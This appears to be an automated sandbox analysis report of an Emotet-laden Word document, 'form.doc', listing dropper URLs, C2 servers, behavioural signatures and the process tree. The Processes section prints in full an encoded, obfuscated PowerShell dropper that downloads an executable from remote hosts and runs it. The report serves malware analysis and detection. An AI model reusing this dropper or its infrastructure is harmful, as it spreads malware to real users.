Analysis

  • max time kernel
    146s
  • max time network
    153s
  • platform
    windows10_x64
  • resource
    win10v200722
  • submitted
    21/10/2020, 12:46

General

  • Target
    form.doc
  • Size 188KB
  • Sample201021-41htk7a4sn
  • SHA256 95cc36236ff79a346718e90e5015315ec3f419d22f5ce7ed1d2abbc04eab70b9
  • MD5 SHA1 SHA512
Score
10/10

Malware Config

Extracted

Language
  • ps1

Deobfuscated
Source
URLs
  • exe.dropper

    https://atrezzos.beneficiosparaempleados.com/wp-admin/kzqh1zM/

  • exe.dropper

    http://vinarorganics.com/css/L0vMERYKQD/

  • exe.dropper

    http://adidasyeezy.store/welph/ccrcbr1xFU/

  • exe.dropper

    http://www.zunan.com.tw/wp-admin/lQ59Q/

  • exe.dropper

    https://vstsample.com/wp-includes/YV/

  • exe.dropper

    https://tuneclick.co.uk/img/eBV/

  • exe.dropper

    https://library.strophicmusic.com/test/VNTHdB7678/

Extracted

Family
  • emotet

Botnet
  • Epoch3

C2
  • 194.166.147.143:80

  • 188.226.165.170:8080

  • 188.40.170.197:80

  • 51.38.50.144:8080

  • 85.75.49.113:80

  • 103.229.73.17:8080

  • 190.117.101.56:80

  • 172.96.190.154:8080

  • 223.17.215.76:80

  • 5.2.246.108:80

  • 190.85.46.52:7080

  • 95.76.142.243:80

  • 86.123.55.0:80

  • 103.93.220.182:80

  • 212.198.71.39:80

  • 153.229.219.1:443

  • 139.59.61.215:443

  • 5.79.70.250:8080

  • 190.192.39.136:80

  • 178.33.167.120:8080

rsa_pubkey.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Emotet Payload 4 IoCs

    Detects Emotet payload in memory.

  • Blacklisted process makes network request 2 IoCs
  • Executes dropped EXE 2 IoCs
  • Drops file in System32 directory 1 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 9 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 11 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\form.doc" /o ""
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:1568
  • C:\Windows\System32\WindowsPowerShell\v1.0\POwersheLL.exe
    POwersheLL -ENCOD UwBlAHQALQBWAGEAUgBpAGEAQgBsAGUAIAAgACgAIgB5AHMAUQBXACIAKwAiADUAIgApACAAKABbAFQAWQBwAEUAXQAoACIAewAyAH0AewAxAH0AewA0AH0AewAwAH0AewAzAH0AIgAtAGYAIAAnAEkATwAuACcALAAnAHkAcwB0AEUAJwAsACcAUwAnACwAJwBEAGkAUgBFAEMAdABPAFIAeQAnACwAJwBNAC4AJwApACAAKQAgACAAOwAgACAAIAAkAE0ARAA0ADMAIAA9ACAAWwB0AHkAcABlAF0AKAAiAHsAMgB9AHsANAB9AHsANQB9AHsAOQB9AHsAOAB9AHsANwB9AHsAMQB9AHsANgB9AHsAMAB9AHsAMwB9ACIAIAAtAEYAJwBjAGUAcABvAEkATgB0AE0AYQBuAEEAJwAsACcAUgBWACcALAAnAFMAWQBzACcALAAnAGcAZQByACcALAAnAFQARQBtACcALAAnAC4AbgAnACwAJwBJACcALAAnAGUAJwAsACcALgBzACcALAAnAEUAVAAnACkAIAAgADsAIAAgACQAUgAwAGUAdwAwAG8AeAA9ACgAJwBVACcAKwAnADkAbQAnACsAKAAnAHgAdAAnACsAJwB3AGEAJwApACkAOwAkAFoAZAByAGIAdwA3ADkAPQAkAEgAYQB5AHMAMgBpADYAIAArACAAWwBjAGgAYQByAF0AKAAxACAAKwAgADEAIAArACAAMgAwACAAKwAgADEAMAAgACsAIAAxADAAKQAgACsAIAAkAFUAegA2ADgAdAA4ADYAOwAkAEkAcABvAHgAMwBtAHEAPQAoACcAVgBuACcAKwAoACcAZQAwAHIAJwArACcAZQAnACkAKwAnAGUAJwApADsAIAAgACQAeQBTAFEAVwA1ADoAOgAiAEMAcgBlAGEAVABlAGAARABpAHIARQBDAFQAYABPAGAAUgBZACIAKAAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACAAKwAgACgAKAAnAGIAVAAnACsAKAAnAE8AJwArACcAUwByACcAKQArACgAJwBvADgAJwArACcAOAAnACkAKwAoACcANAAzAGIAVAAnACsAJwBPAFQAcQAnACkAKwAnAHcAbQAnACsAKAAnAHgAOQAzAGIAJwArACcAVABPACcAKQApACAAIAAtAFIAZQBQAEwAQQBDAEUAIAAgACgAWwBDAEgAYQByAF0AOQA4ACsAWwBDAEgAYQByAF0AOAA0ACsAWwBDAEgAYQByAF0ANwA5ACkALABbAEMASABhAHIAXQA5ADIAKQApADsAJABMAGYAYgB4AGsAawBsAD0AKAAoACcARAAnACsAJwBsADUAJwApACsAKAAnAGsAdQAnACsAJwAyAHMAJwApACkAOwAgACgAIAAgAHYAYQByAEkAYQBCAEwAZQAgAG0AZAA0ADMAIAApAC4AdgBhAGwAVQBlADoAOgAiAHMARQBgAEMAVQBSAEkAYABUAHkAcABgAFIATwB0AG8AYwBvAEwAIgAgAD0AIAAoACgAJwBUAGwAcwAnACsAJwAxACcAKQArACcAMgAnACkAOwAkAEMAawBsAGUAaQBvAHoAPQAoACcATwBtACcAKwAoACcAeABvAGQANwAnACsAJwBtACcAKQApADsAJABRAHUAbQB3AG0AZQBpACAAPQAgACgAKAAnAE8AegByACcAKwAnAG4AJwArACcANgBoADIAJwApACsAJwBjACcAKQA7ACQAWQBzAHIAcwBmADMAZAA9ACgAJwBHACcAKwAoACcANwBnADUAJwArACcAXwA5ACcAKQArACcAYgAnACkAOwAkAEMAYwAwAHgAOQBtAGoAPQAoACgAJwBFACcAKwAnADEANgAnACkAKwAoACcAawBmAGEAJwArACcANwAnACkAKQA7ACQASQBoAHAAbgAwAGUAZQA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAoACgAKAAnADYAdAAnACsAJwBRAFMAcgAnACsAJwBvADgAJwApACsAKAAnADgANAAzADYAJwArACcAdABRACcAKQArACcAVAAnACsAKAAnAHEAJwArACcAdwBtACcAKQArACgAJwB4ADkAJwArACcAMwAnACkAKwAoACcANgB0ACcAKwAnAFEAJwApACkALQByAEUAcABsAEEAQwBlACgAWwBDAEgAQQBSAF0ANQA0ACsAWwBDAEgAQQBSAF0AMQAxADYAKwBbAEMASABBAFIAXQA4ADEAKQAsAFsAQwBIAEEAUgBdADkAMgApACsAJABRAHUAbQB3AG0AZQBpACsAKAAnAC4AZQAnACsAJwB4AGUAJwApADsAJABHAGIAagA3AGgAcQBwAD0AKAAnAE8AdQAnACsAJwA2AF8AJwArACgAJwBnADUAJwArACcAdgAnACkAKQA7ACQAUgBwAGIAOQB0AGMAawA9ACYAKAAnAG4AZQB3AC0AbwBiACcAKwAnAGoAJwArACcAZQBjAHQAJwApACAATgBFAHQALgBXAGUAQgBDAEwAaQBlAG4AdAA7ACQARgA0ADEAMgBmAGwAXwA9ACgAKAAnAGgAdAAnACsAJwB0ACcAKQArACgAJwBwAHMAJwArACcAOgAvACcAKQArACcALwBhACcAKwAoACcAdAAnACsAJwByAGUAegAnACkAKwAoACcAegBvACcAKwAnAHMAJwApACsAKAAnAC4AYgBlAG4AZQBmACcAKwAnAGkAJwArACcAYwAnACkAKwAnAGkAJwArACgAJwBvAHMAJwArACcAcABhAHIAJwApACsAJwBhACcAKwAoACcAZQBtACcAKwAnAHAAJwArACcAbABlAGEAZABvACcAKQArACgAJwBzACcAKwAnAC4AYwBvACcAKQArACcAbQAvACcAKwAoACcAdwBwACcAKwAnAC0AJwApACsAKAAnAGEAZABtAGkAbgAnACsAJwAvACcAKQArACcAawAnACsAKAAnAHoAcQBoACcAKwAnADEAegAnACsAJwBNACcAKQArACgAJwAvACcAKwAnACoAaAB0ACcAKQArACgAJwB0ACcAKwAnAHAAOgAnACkAKwAoACcALwAvAHYAaQAnACsAJwBuAGEAJwApACsAKAAnAHIAJwArACcAbwByAGcAYQAnACkAKwAnAG4AJwArACcAaQAnACsAJwBjAHMAJwArACgAJwAuAGMAJwArACcAbwAnACkAKwAnAG0ALwAnACsAKAAnAGMAJwArACcAcwBzACcAKQArACgAJwAvACcAKwAnAEwAMAB2AE0ARQAnACkAKwAoACcAUgAnACsAJwBZAEsAJwApACsAJwBRAEQAJwArACgAJwAvACoAJwArACcAaAAnACkAKwAnAHQAJwArACgAJwB0AHAAOgAvAC8AJwArACcAYQAnACkAKwAoACcAZAAnACsAJwBpAGQAYQBzAHkAJwArACcAZQBlAHoAeQAuAHMAdAAnACkAKwAnAG8AJwArACcAcgBlACcAKwAnAC8AdwAnACsAJwBlAGwAJwArACgAJwBwAGgAJwArACcALwAnACkAKwAoACcAYwBjACcAKwAnAHIAJwApACsAKAAnAGMAYgAnACsAJwByADEAJwApACsAKAAnAHgARgBVACcAKwAnAC8AKgAnACsAJwBoAHQAdABwADoALwAvACcAKQArACcAdwB3ACcAKwAnAHcAJwArACgAJwAuAHoAJwArACcAdQAnACkAKwAnAG4AJwArACgAJwBhAG4ALgBjAG8AbQAuACcAKwAnAHQAdwAvACcAKwAnAHcAJwApACsAJwBwAC0AJwArACcAYQBkACcAKwAnAG0AaQAnACsAJwBuACcAKwAoACcALwBsAFEAJwArACcANQA5ACcAKQArACcAUQAnACsAJwAvACoAJwArACgAJwBoAHQAdABwACcAKwAnAHMAJwApACsAKAAnADoAJwArACcALwAvAHYAJwApACsAKAAnAHMAdABzAGEAbQBwAGwAJwArACcAZQAuACcAKwAnAGMAbwBtACcAKQArACcALwB3ACcAKwAoACcAcAAtAGkAJwArACcAbgBjACcAKwAnAGwAJwApACsAKAAnAHUAZABlACcAKwAnAHMAJwArACcALwBZACcAKQArACgAJwBWACcAKwAnAC8AKgAnACkAKwAoACcAaAAnACsAJwB0AHQAJwApACsAJwBwAHMAJwArACcAOgAvACcAKwAoACcALwAnACsAJwB0AHUAbgBlACcAKwAnAGMAbABpACcAKQArACgAJwBjACcAKwAnAGsAJwArACcALgBjAG8ALgB1ACcAKQArACcAawAvACcAKwAoACcAaQAnACsAJwBtAGcALwAnACkAKwAnAGUAJwArACgAJwBCAFYAJwArACcALwAnACkAKwAoACcAKgBoACcAKwAnAHQAJwApACsAJwB0ACcAKwAnAHAAJwArACgAJwBzADoAJwArACcALwAvAGwAaQBiAHIAYQAnACsAJwByAHkAJwArACcALgAnACsAJwBzACcAKQArACcAdAByACcAKwAnAG8AJwArACgAJwBwAGgAJwArACcAaQBjACcAKQArACcAbQAnACsAKAAnAHUAcwAnACsAJwBpAGMAJwApACsAKAAnAC4AJwArACcAYwBvACcAKQArACgAJwBtACcAKwAnAC8AJwArACcAdABlACcAKwAnAHMAdAAvAFYATgBUAEgAZAAnACkAKwAoACcAQgA3ADYAJwArACcANwA4AC8AJwApACkALgAiAHMAUABsAGAAaQB0ACIAKAAkAEsANwAyAGYANABwAGcAIAArACAAJABaAGQAcgBiAHcANwA5ACAAKwAgACQARwBzAG0AcQA5ADUAegApADsAJABBAHgAdgA5AHkAZwBqAD0AKAAnAFEAbwAnACsAKAAnAGQAbgByACcAKwAnAGoAJwApACsAJwA0ACcAKQA7AGYAbwByAGUAYQBjAGgAIAAoACQARABhAHAAawAyAGEAeQAgAGkAbgAgACQARgA0ADEAMgBmAGwAXwApAHsAdAByAHkAewAkAFIAcABiADkAdABjAGsALgAiAEQATwBXAE4AYABsAE8AYQBEAGAARgBgAGkAbABlACIAKAAkAEQAYQBwAGsAMgBhAHkALAAgACQASQBoAHAAbgAwAGUAZQApADsAJABEAGMANgBrAGoAMQAyAD0AKAAoACcAVwB4AHgAJwArACcAMQBlACcAKQArACcAMAB4ACcAKQA7AEkAZgAgACgAKAAmACgAJwBHAGUAdAAnACsAJwAtACcAKwAnAEkAdABlAG0AJwApACAAJABJAGgAcABuADAAZQBlACkALgAiAGwARQBgAE4AZwB0AGgAIgAgAC0AZwBlACAANAA0ADIAMQA5ACkAIAB7ACgAWwB3AG0AaQBjAGwAYQBzAHMAXQAoACcAdwAnACsAKAAnAGkAJwArACcAbgAzACcAKQArACcAMgAnACsAKAAnAF8AUAByAG8AYwAnACsAJwBlACcAKwAnAHMAcwAnACkAKQApAC4AIgBDAFIAYABlAEEAdABFACIAKAAkAEkAaABwAG4AMABlAGUAKQA7ACQAUQBfAHQAagB4AGQAagA9ACgAJwBDAHMAJwArACcAcAAnACsAKAAnAG0ANABmACcAKwAnAF8AJwApACkAOwBiAHIAZQBhAGsAOwAkAFoAbAA2ADAAcAAwAGsAPQAoACcAVABjACcAKwAoACcAYgB0ACcAKwAnAHUAdQAnACkAKwAnAHoAJwApAH0AfQBjAGEAdABjAGgAewB9AH0AJABKAHQANgBrAGoAZABzAD0AKAAnAFEAeQAnACsAKAAnAGcAaQBsACcAKwAnAHIAZAAnACkAKQA=
    1⤵
    • Process spawned unexpected child process
    • Blacklisted process makes network request
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    PID:1520
  • C:\Users\Admin\Sro8843\Tqwmx93\Ozrn6h2c.exe
    C:\Users\Admin\Sro8843\Tqwmx93\Ozrn6h2c.exe
    1⤵
    • Executes dropped EXE
    • Drops file in System32 directory
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2812
    • C:\Windows\SysWOW64\uReFS\KBDHE220.exe
      "C:\Windows\SysWOW64\uReFS\KBDHE220.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of SetWindowsHookEx
      PID:860

Network

        MITRE ATT&CK Enterprise v6

        Replay Monitor

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        Downloads

        memory/860-15-0x00000000021E0000-0x000000000223A000-memory.dmp

        memory/860-16-0x0000000002290000-0x00000000022E9000-memory.dmp

        memory/1520-6-0x00007FFD1B7E0000-0x00007FFD1C1CC000-memory.dmp

        memory/1520-7-0x00000254A3670000-0x00000254A3671000-memory.dmp

        memory/1520-8-0x00000254BBB70000-0x00000254BBB71000-memory.dmp

        memory/1568-0-0x00007FFD22A50000-0x00007FFD23116000-memory.dmp

        memory/2812-11-0x0000000002400000-0x000000000245A000-memory.dmp

        memory/2812-12-0x0000000002460000-0x00000000024B9000-memory.dmp